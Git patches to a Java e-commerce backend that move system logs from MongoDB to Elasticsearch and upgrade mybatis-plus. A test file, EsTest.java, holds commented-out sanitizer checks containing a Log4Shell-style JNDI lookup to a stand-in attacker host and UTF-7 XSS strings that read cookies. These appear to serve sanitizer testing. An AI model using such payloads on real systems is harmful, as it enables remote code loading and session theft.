2020/12/2 17:50 */ @Data +@Document(indexName = "#{@elasticsearchProperties.indexPrefix}_" + EsSuffix.LOGS_INDEX_NAME) +@ToString +@NoArgsConstructor +@Accessors(chain = true) public class SystemLogVO implements Serializable { private static final long serialVersionUID = -8995552592401630086L; - + @Id @ApiModelProperty(value = "id") private String id; - @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") @ApiModelProperty(value = "日志记录时间") + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.basic_date_time) private Date createTime = new Date(); @ApiModelProperty(value = "请求用户") + @Field(type = FieldType.Text) private String username; @ApiModelProperty(value = "请求路径") + @Field(type = FieldType.Text) private String requestUrl; @ApiModelProperty(value = "请求参数") + @Field(type = FieldType.Text) private String requestParam; + @ApiModelProperty(value = "响应参数") + @Field(type = FieldType.Text) private String responseBody; @ApiModelProperty(value = "ip") + @Field(type = FieldType.Keyword) private String ip; @ApiModelProperty(value = "方法操作名称") + @Field(type = FieldType.Keyword) private String name; @ApiModelProperty(value = "请求类型") + @Field(type = FieldType.Keyword) private String requestType; @ApiModelProperty(value = "自定义日志内容") + @Field(type = FieldType.Text) private String customerLog; @ApiModelProperty(value = "ip信息") + @Field(type = FieldType.Text) private String ipInfo; @ApiModelProperty(value = "花费时间") + @Field(type = FieldType.Integer) private Integer costTime; @ApiModelProperty(value = "商家") + @Field(type = FieldType.Long) private Long storeId = -1L; /** diff --git a/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java b/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java new file mode 100644 index 00000000..49e221ec --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/permission/repository/SystemLogRepository.java @@ -0,0 +1,14 @@ +package cn.lili.modules.permission.repository; + +import cn.lili.modules.permission.entity.vo.SystemLogVO; +import org.springframework.data.elasticsearch.repository.ElasticsearchRepository; + +/** + * 日志 + * + * @author paulG + * @since 2021/12/13 + **/ +public interface SystemLogRepository extends ElasticsearchRepository { + +} diff --git a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java index 8e6b48dd..a1f21b30 100644 --- a/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/permission/serviceimpl/SystemLogServiceImpl.java @@ -1,23 +1,30 @@ package cn.lili.modules.permission.serviceimpl; -import cn.lili.common.utils.StringUtils; +import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.SearchVO; import cn.lili.modules.permission.entity.vo.SystemLogVO; +import cn.lili.modules.permission.repository.SystemLogRepository; import cn.lili.modules.permission.service.SystemLogService; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.elasticsearch.index.query.BoolQueryBuilder; +import org.elasticsearch.index.query.QueryBuilders; +import org.elasticsearch.search.sort.SortBuilders; +import org.elasticsearch.search.sort.SortOrder; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.data.domain.PageRequest; -import org.springframework.data.domain.Sort; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import org.springframework.data.domain.Pageable; +import org.springframework.data.elasticsearch.core.ElasticsearchRestTemplate; +import org.springframework.data.elasticsearch.core.SearchHit; +import org.springframework.data.elasticsearch.core.SearchHits; +import org.springframework.data.elasticsearch.core.query.NativeSearchQueryBuilder; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.List; -import java.util.regex.Pattern; +import java.util.stream.Collectors; /** * 系统日志 @@ -30,64 +37,91 @@ import java.util.regex.Pattern; public class SystemLogServiceImpl implements SystemLogService { @Autowired - private MongoTemplate mongoTemplate; + private SystemLogRepository systemLogRepository; + + /** + * ES + */ + @Autowired + @Qualifier("elasticsearchRestTemplate") + private ElasticsearchRestTemplate restTemplate; @Override public void saveLog(SystemLogVO systemLogVO) { - mongoTemplate.save(systemLogVO); + systemLogRepository.save(systemLogVO); } @Override public void deleteLog(List id) { - mongoTemplate.remove(new Query().addCriteria(Criteria.where("id").is(id)), SystemLogVO.class); + for (String s : id) { + systemLogRepository.deleteById(s); + } } @Override public void flushAll() { - mongoTemplate.dropCollection(SystemLogVO.class); + systemLogRepository.deleteAll(); } @Override public IPage queryLog(String storeId, String operatorName, String key, SearchVO searchVo, PageVO pageVO) { - Query query = new Query(); - - if (StringUtils.isNotEmpty(storeId)) { - query.addCriteria(Criteria.where("storeId").is(storeId)); + IPage iPage = new Page<>(); + NativeSearchQueryBuilder nativeSearchQueryBuilder = new NativeSearchQueryBuilder(); + if (pageVO != null) { + int pageNumber = pageVO.getPageNumber() - 1; + if (pageNumber < 0) { + pageNumber = 0; + } + Pageable pageable = PageRequest.of(pageNumber, pageVO.getPageSize()); + //分页 + nativeSearchQueryBuilder.withPageable(pageable); + iPage.setCurrent(pageVO.getPageNumber()); + iPage.setSize(pageVO.getPageSize()); } - if (StringUtils.isNotEmpty(operatorName)) { - query.addCriteria(Criteria.where("username").regex(Pattern.compile("^.*" + operatorName + ".*$", Pattern.CASE_INSENSITIVE))); + if (CharSequenceUtil.isNotEmpty(storeId)) { + nativeSearchQueryBuilder.withFilter(QueryBuilders.matchQuery("storeId", storeId)); } - if (StringUtils.isNotEmpty(key)) { - query.addCriteria(new Criteria().orOperator( - Criteria.where("requestUrl").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("requestParam").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("responseBody").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)), - Criteria.where("name").regex(Pattern.compile("^.*" + key + ".*$", Pattern.CASE_INSENSITIVE)) - )); + if (CharSequenceUtil.isNotEmpty(operatorName)) { + nativeSearchQueryBuilder.withFilter(QueryBuilders.wildcardQuery("username", "*" + operatorName + "*")); + } + + if (CharSequenceUtil.isNotEmpty(key)) { + BoolQueryBuilder filterBuilder = new BoolQueryBuilder(); + filterBuilder.should(QueryBuilders.wildcardQuery("requestUrl", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("requestParam", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("responseBody", "*" + key + "*")) + .should(QueryBuilders.wildcardQuery("name", "*" + key + "*")); + nativeSearchQueryBuilder.withFilter(filterBuilder); } //时间有效性判定 if (searchVo.getConvertStartDate() != null && searchVo.getConvertEndDate() != null) { + BoolQueryBuilder filterBuilder = new BoolQueryBuilder(); //大于方法 - Criteria gt = Criteria.where("createTime").gte(searchVo.getConvertStartDate()); + filterBuilder.must( + QueryBuilders.rangeQuery("createTime") + .gte(searchVo.getConvertStartDate().getTime())); //小于方法 - Criteria lt = Criteria.where("createTime").lte(searchVo.getConvertEndDate()); - query.addCriteria(new Criteria().andOperator(gt, lt)); + filterBuilder.must( + QueryBuilders.rangeQuery("createTime") + .lt(searchVo.getConvertEndDate().getTime())); + nativeSearchQueryBuilder.withFilter(filterBuilder); } - IPage iPage = new Page<>(); + SearchHits searchResult = restTemplate.search(nativeSearchQueryBuilder.build(), SystemLogVO.class); - iPage.setTotal(mongoTemplate.count(query, SystemLogVO.class)); - query.with(PageRequest.of(pageVO.getMongoPageNumber(), pageVO.getPageSize())); + iPage.setTotal(searchResult.getTotalHits()); - query.with(Sort.by(Sort.Direction.DESC, "createTime")); + if (pageVO != null && CharSequenceUtil.isNotEmpty(pageVO.getOrder()) && CharSequenceUtil.isNotEmpty(pageVO.getSort())) { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort(pageVO.getSort()).order(SortOrder.valueOf(pageVO.getOrder().toUpperCase()))); + } else { + nativeSearchQueryBuilder.withSort(SortBuilders.fieldSort("createTime").order(SortOrder.DESC)); + } - List systemLogVOS = mongoTemplate.find(query, SystemLogVO.class); - iPage.setCurrent(pageVO.getPageNumber()); - iPage.setSize(pageVO.getPageSize()); - iPage.setRecords(systemLogVOS); + + iPage.setRecords(searchResult.getSearchHits().stream().map(SearchHit::getContent).collect(Collectors.toList())); return iPage; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java index 02b50374..a1c6f345 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java @@ -25,7 +25,7 @@ public interface PintuanService extends AbstractPromotionsService { List getPintuanMember(String pintuanId); /** - * 从mongo中查询拼团活动详情 + * 查询拼团活动详情 * * @param id 拼团ID * @return 拼团活动详情 diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java index d835055a..eecb42c3 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/SeckillService.java @@ -20,7 +20,7 @@ public interface SeckillService extends AbstractPromotionsService { Integer PRE_CREATION = 7; /** - * 从mongo中获取秒杀活动信息 + * 获取秒杀活动信息 * * @param id 秒杀活动id * @return 秒杀活动信息 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java index e97cbe27..539f0e57 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/CouponServiceImpl.java @@ -89,7 +89,7 @@ public class CouponServiceImpl extends AbstractPromotionsServiceImpl ids) { - //删除mongo优惠券信息 + //删除优惠券信息 this.memberCouponService.closeMemberCoupon(ids); //删除优惠券活动关联优惠券 diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index a8feb217..86714e0b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -102,7 +102,7 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { - IPage pintuanByPageFromMongo = pintuanService.pageFindAll(queryParam, pageVo); - return ResultUtil.data(pintuanByPageFromMongo); + IPage pintuanIPage = pintuanService.pageFindAll(queryParam, pageVo); + return ResultUtil.data(pintuanIPage); } @GetMapping("/goods/{pintuanId}") diff --git a/manager-api/src/main/resources/application.yml b/manager-api/src/main/resources/application.yml index 09a6bd2a..1ecab32a 100644 --- a/manager-api/src/main/resources/application.yml +++ b/manager-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -174,7 +165,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs diff --git a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java index 672e0a44..9210cc79 100644 --- a/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java +++ b/manager-api/src/test/java/cn/lili/test/elasticsearch/EsTest.java @@ -1,6 +1,5 @@ package cn.lili.test.elasticsearch; -import cn.hutool.http.HtmlUtil; import cn.hutool.json.JSONUtil; import cn.lili.cache.Cache; import cn.lili.common.vo.PageVO; @@ -20,13 +19,13 @@ import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; -import org.owasp.html.Sanitizers; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.data.elasticsearch.core.SearchPage; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; +import java.util.Date; import java.util.List; import java.util.Map; @@ -64,13 +63,14 @@ class EsTest { // System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); // System.out.println(HtmlUtil.unescape(safeHTML)); // System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-")); -// Date dt1 = new Date(2017, 3, 31); -// Date dt2 = new Date(2017, 5, 14)Z -// System.out.println(dt2.after(dt1)); - String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); - String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); - System.out.println(filter); - System.out.println(sanitize); + Date dt1 = new Date(2021, 12, 10); + Date dt2 = new Date(2021, 12, 14); + + System.out.println(new Date().before(dt2)); +// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}"); +// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}"); +// System.out.println(filter); +// System.out.println(sanitize); } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java index 2bf84c3e..ee788869 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/CouponTest.java @@ -1,10 +1,8 @@ package cn.lili.test.promotion; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.enums.GoodsStatusEnum; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; @@ -14,7 +12,6 @@ import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; import com.baomidou.mybatisplus.core.metadata.IPage; -import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @@ -36,15 +33,6 @@ class CouponTest { @Autowired private CouponService couponService; - @Autowired - private GoodsSkuService goodsSkuService; - - @Autowired - private RocketMQTemplate rocketMQTemplate; - - @Autowired - private RocketmqCustomProperties rocketmqCustomProperties; - @Test void addCoupon() { CouponVO couponVO = new CouponVO(); @@ -161,19 +149,19 @@ class CouponTest { promotionGoodsList.add(promotionGoods); couponVO.setPromotionGoodsList(promotionGoodsList); - Assertions.assertNotNull(couponService.updatePromotions(couponVO)); + Assertions.assertTrue(couponService.updatePromotions(couponVO)); } @Test - void searchFromMongo() { + void search() { CouponSearchParams queryParam = new CouponSearchParams(); queryParam.setStoreId(""); PageVO pageVo = new PageVO(); pageVo.setPageNumber(0); pageVo.setPageSize(10); - IPage couponsByPageFromMongo = couponService.pageFindAll(queryParam, pageVo); - Assertions.assertNotNull(couponsByPageFromMongo); - couponsByPageFromMongo.getRecords().forEach(System.out::println); + IPage couponsByPage = couponService.pageFindAll(queryParam, pageVo); + Assertions.assertNotNull(couponsByPage); + couponsByPage.getRecords().forEach(System.out::println); } @Test diff --git a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 7b64897f..88465e82 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -71,7 +71,7 @@ class FullDiscountTest { } @Test - void searchFromMongo() { + void search() { PageVO pageVo = new PageVO(); pageVo.setPageSize(10); pageVo.setPageNumber(0); @@ -79,9 +79,9 @@ class FullDiscountTest { pageVo.setSort("startTime"); pageVo.setOrder("asc"); - IPage fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); + IPage fullDiscountByPage = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); - Assertions.assertNotNull(fullDiscountByPageFromMongo); + Assertions.assertNotNull(fullDiscountByPage); } @Test diff --git a/seller-api/src/main/resources/application.yml b/seller-api/src/main/resources/application.yml index ccbd076a..30690a2a 100644 --- a/seller-api/src/main/resources/application.yml +++ b/seller-api/src/main/resources/application.yml @@ -29,15 +29,6 @@ spring: admin: client: url: http://127.0.0.1:8000 - # mongodb - data: - mongodb: - uri: 127.0.0.1:27017 - database: lilishop - username: root - password: lilishop - authentication-database: admin - # replica-set-name: mongoreplset cache: type: redis # Redis @@ -171,7 +162,6 @@ logging: cn.lili: info # org.hibernate: debug # org.springframework: debug - # org.springframework.data.mongodb.core: debug file: # 指定路径 path: lili-logs From a9ddcfeb95008e27d99bfc90d68b51a14b87f295 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 15 Dec 2021 11:35:41 +0800 Subject: [PATCH 070/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E5=95=86=E5=93=81?= =?UTF-8?q?=E5=AE=A1=E6=A0=B8=E5=85=B3=E9=97=AD=E5=90=8E=EF=BC=8C=E4=BF=AE?= =?UTF-8?q?=E6=94=B9=E5=95=86=E5=93=81=E4=B8=8D=E7=94=9F=E6=88=90=E7=B4=A2?= =?UTF-8?q?=E5=BC=95=E9=97=AE=E9=A2=98=E3=80=82=E5=8D=87=E7=BA=A7mybatis-p?= =?UTF-8?q?lus=E7=89=88=E6=9C=AC=E8=87=B3=203.4.3.4=20=E5=92=8Chutool?= =?UTF-8?q?=E7=89=88=E6=9C=AC=E8=87=B3=205.7.16=E3=80=82=E9=80=82=E9=85=8D?= =?UTF-8?q?=E6=96=B0=E7=89=88=E6=9C=ACmybatis-plus?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 4 +- .../listener/NoticeSendMessageListener.java | 8 +- framework/pom.xml | 2 +- .../entity/dos/DistributionOrder.java | 6 -- .../modules/goods/service/GoodsService.java | 5 +- .../goods/serviceimpl/GoodsServiceImpl.java | 6 +- .../serviceimpl/GoodsSkuServiceImpl.java | 4 +- .../member/entity/dos/MemberReceipt.java | 6 -- .../member/entity/vo/EvaluationNumberVO.java | 2 +- .../member/service/FootprintService.java | 2 +- .../modules/member/service/MemberService.java | 2 +- .../serviceimpl/FootprintServiceImpl.java | 11 +-- .../member/serviceimpl/MemberServiceImpl.java | 80 +++++++++---------- .../order/entity/dto/OrderSearchParams.java | 2 +- .../order/service/OrderComplaintService.java | 2 +- .../order/order/service/OrderService.java | 2 +- .../OrderComplaintServiceImpl.java | 13 ++- .../order/serviceimpl/OrderServiceImpl.java | 2 +- .../modules/payment/kit/core/kit/PayKit.java | 2 +- .../promotion/entity/vos/PintuanMemberVO.java | 6 +- .../service/MemberCouponService.java | 2 +- .../promotion/service/SeckillService.java | 2 +- .../KanjiaActivityLogServiceImpl.java | 2 +- .../serviceimpl/MemberCouponServiceImpl.java | 4 +- .../serviceimpl/PintuanServiceImpl.java | 8 +- .../serviceimpl/SeckillServiceImpl.java | 4 +- .../serviceimpl/CustomWordsServiceImpl.java | 2 +- .../entity/dos/MemberStatisticsData.java | 6 +- .../statistics/entity/vo/IndexNoticeVO.java | 12 +-- .../entity/vo/IndexStatisticsVO.java | 16 ++-- .../entity/vo/StoreIndexStatisticsVO.java | 24 +++--- .../mapper/MemberStatisticsMapper.java | 2 +- .../service/AfterSaleStatisticsService.java | 2 +- .../service/BillStatisticsService.java | 2 +- .../DistributionCashStatisticsService.java | 2 +- .../service/GoodsStatisticsService.java | 6 +- .../MemberEvaluationStatisticsService.java | 4 +- .../service/MemberStatisticsService.java | 10 +-- .../OrderComplaintStatisticsService.java | 2 +- .../service/OrderStatisticsService.java | 2 +- .../service/SeckillStatisticsService.java | 2 +- .../service/StoreStatisticsService.java | 6 +- .../AfterSaleStatisticsServiceImpl.java | 2 +- .../BillStatisticsServiceImpl.java | 8 +- ...DistributionCashStatisticsServiceImpl.java | 2 +- .../GoodsStatisticsServiceImpl.java | 4 +- ...MemberEvaluationStatisticsServiceImpl.java | 10 ++- .../MemberStatisticsServiceImpl.java | 19 +++-- .../OrderComplaintStatisticsServiceImpl.java | 2 +- .../OrderStatisticsServiceImpl.java | 14 ++-- .../SeckillStatisticsServiceImpl.java | 2 +- .../StoreStatisticsServiceImpl.java | 6 +- .../modules/store/entity/dos/StoreDetail.java | 6 -- .../store/entity/vos/StoreSearchParams.java | 3 +- .../modules/store/service/StoreService.java | 1 - .../store/serviceimpl/StoreServiceImpl.java | 12 +-- .../main/java/cn/lili/mybatis/BaseEntity.java | 1 - .../java/cn/lili/mybatis/BaseIdEntity.java | 2 - .../mybatisplus/MybatisPlusConfig.java | 11 ++- .../goods/CategoryManagerController.java | 2 +- .../member/MemberManagerController.java | 2 +- pom.xml | 6 +- 62 files changed, 193 insertions(+), 211 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 44e53e0f..f08a1a70 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -130,8 +130,8 @@ public class GoodsMessageListener implements RocketMQListener { //生成索引 case GENERATOR_GOODS_INDEX: try { - String goodsJsonStr = new String(messageExt.getBody()); - Goods goods = JSONUtil.toBean(goodsJsonStr, Goods.class); + String goodsId = new String(messageExt.getBody()); + Goods goods = this.goodsService.getById(goodsId); updateGoodsIndex(goods); } catch (Exception e) { log.error("生成商品索引事件执行异常,商品信息 {}", new String(messageExt.getBody())); diff --git a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java index 1f4adbbd..983fd87a 100644 --- a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java @@ -158,12 +158,12 @@ public class NoticeSendMessageListener implements RocketMQListener { //查询所有会员总数,因为会员总数比较大 如果一次性查出来会占用数据库资源,所以要分页查询 MemberSearchVO memberSearchVO = new MemberSearchVO(); memberSearchVO.setDisabled(SwitchEnum.OPEN.name()); - Integer memberNum = memberService.getMemberNum(memberSearchVO); + long memberNum = memberService.getMemberNum(memberSearchVO); //构建分页查询参数 //100条查一次 - Integer pageSize = 100; - Integer pageCount = 0; - pageCount = memberNum / pageSize; + int pageSize = 100; + int pageCount; + pageCount = (int) (memberNum / pageSize); pageCount = memberNum % pageSize > 0 ? pageCount + 1 : pageCount; for (int i = 1; i <= pageCount; i++) { PageVO pageVO = new PageVO(); diff --git a/framework/pom.xml b/framework/pom.xml index 7d3c159c..952d1c71 100644 --- a/framework/pom.xml +++ b/framework/pom.xml @@ -95,7 +95,7 @@ org.mybatis.spring.boot mybatis-spring-boot-starter-test - 1.3.2 + 2.2.0 diff --git a/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionOrder.java b/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionOrder.java index 93404507..491a8faf 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionOrder.java +++ b/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionOrder.java @@ -5,7 +5,6 @@ import cn.lili.modules.order.order.entity.dos.StoreFlow; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -31,11 +30,6 @@ public class DistributionOrder extends BaseIdEntity { private static final long serialVersionUID = 501799944909496507L; - @TableId - @TableField - @ApiModelProperty(value = "唯一标识", hidden = true) - private String id; - @CreatedDate @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") diff --git a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java index f517d5db..09a0bd1b 100644 --- a/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java +++ b/framework/src/main/java/cn/lili/modules/goods/service/GoodsService.java @@ -49,7 +49,7 @@ public interface GoodsService extends IService { * @param categoryId 分类ID * @return 商品数量 */ - Integer getGoodsCountByCategory(String categoryId); + long getGoodsCountByCategory(String categoryId); /** * 添加商品 @@ -143,7 +143,8 @@ public interface GoodsService extends IService { /** * 统计店铺的商品数量 * @param storeId 店铺id + * @return */ - Integer countStoreGoodsNum(String storeId); + long countStoreGoodsNum(String storeId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java index abf65784..e8d63ee5 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsServiceImpl.java @@ -149,7 +149,7 @@ public class GoodsServiceImpl extends ServiceImpl implements } @Override - public final Integer getGoodsCountByCategory(String categoryId) { + public final long getGoodsCountByCategory(String categoryId) { QueryWrapper queryWrapper = Wrappers.query(); queryWrapper.like("category_path", categoryId); queryWrapper.eq("delete_flag", false); @@ -362,7 +362,7 @@ public class GoodsServiceImpl extends ServiceImpl implements goodEvaluationQueryWrapper.eq(MemberEvaluation::getId, goodsId); goodEvaluationQueryWrapper.eq(MemberEvaluation::getGrade, EvaluationGradeEnum.GOOD.name()); //好评数量 - int highPraiseNum = memberEvaluationService.count(goodEvaluationQueryWrapper); + long highPraiseNum = memberEvaluationService.count(goodEvaluationQueryWrapper); //好评率 double grade = NumberUtil.mul(NumberUtil.div(highPraiseNum, goods.getCommentNum().doubleValue(), 2), 100); goods.setGrade(grade); @@ -380,7 +380,7 @@ public class GoodsServiceImpl extends ServiceImpl implements } @Override - public Integer countStoreGoodsNum(String storeId) { + public long countStoreGoodsNum(String storeId) { return this.count( new LambdaQueryWrapper() .eq(Goods::getStoreId, storeId) diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java index a70fc838..b20f45ae 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsSkuServiceImpl.java @@ -490,7 +490,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i goodEvaluationQueryWrapper.eq(MemberEvaluation::getGrade, EvaluationGradeEnum.GOOD.name()); //好评数量 - int highPraiseNum = memberEvaluationService.count(goodEvaluationQueryWrapper); + long highPraiseNum = memberEvaluationService.count(goodEvaluationQueryWrapper); //更新商品评价数量 goodsSku.setCommentNum(goodsSku.getCommentNum() != null ? goodsSku.getCommentNum() + 1 : 1); @@ -539,7 +539,7 @@ public class GoodsSkuServiceImpl extends ServiceImpl i public void generateEs(Goods goods) { String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.GENERATOR_GOODS_INDEX.name(); //发送mq消息 - rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(goods), RocketmqSendCallbackBuilder.commonCallback()); + rocketMQTemplate.asyncSend(destination, goods.getId(), RocketmqSendCallbackBuilder.commonCallback()); } /** diff --git a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberReceipt.java b/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberReceipt.java index 0738666b..0b4a8ee4 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberReceipt.java +++ b/framework/src/main/java/cn/lili/modules/member/entity/dos/MemberReceipt.java @@ -3,7 +3,6 @@ package cn.lili.modules.member.entity.dos; import cn.lili.mybatis.BaseIdEntity; import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; -import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModel; @@ -27,11 +26,6 @@ public class MemberReceipt extends BaseIdEntity { private static final long serialVersionUID = -8210927482915675995L; - @TableId - @TableField - @ApiModelProperty(value = "唯一标识", hidden = true) - private String id; - @ApiModelProperty(value = "发票抬头") private String receiptTitle; diff --git a/framework/src/main/java/cn/lili/modules/member/entity/vo/EvaluationNumberVO.java b/framework/src/main/java/cn/lili/modules/member/entity/vo/EvaluationNumberVO.java index 152bee47..92084f43 100644 --- a/framework/src/main/java/cn/lili/modules/member/entity/vo/EvaluationNumberVO.java +++ b/framework/src/main/java/cn/lili/modules/member/entity/vo/EvaluationNumberVO.java @@ -25,5 +25,5 @@ public class EvaluationNumberVO { private Integer worse; @ApiModelProperty(value = "有图数量") - private Integer haveImage; + private Long haveImage; 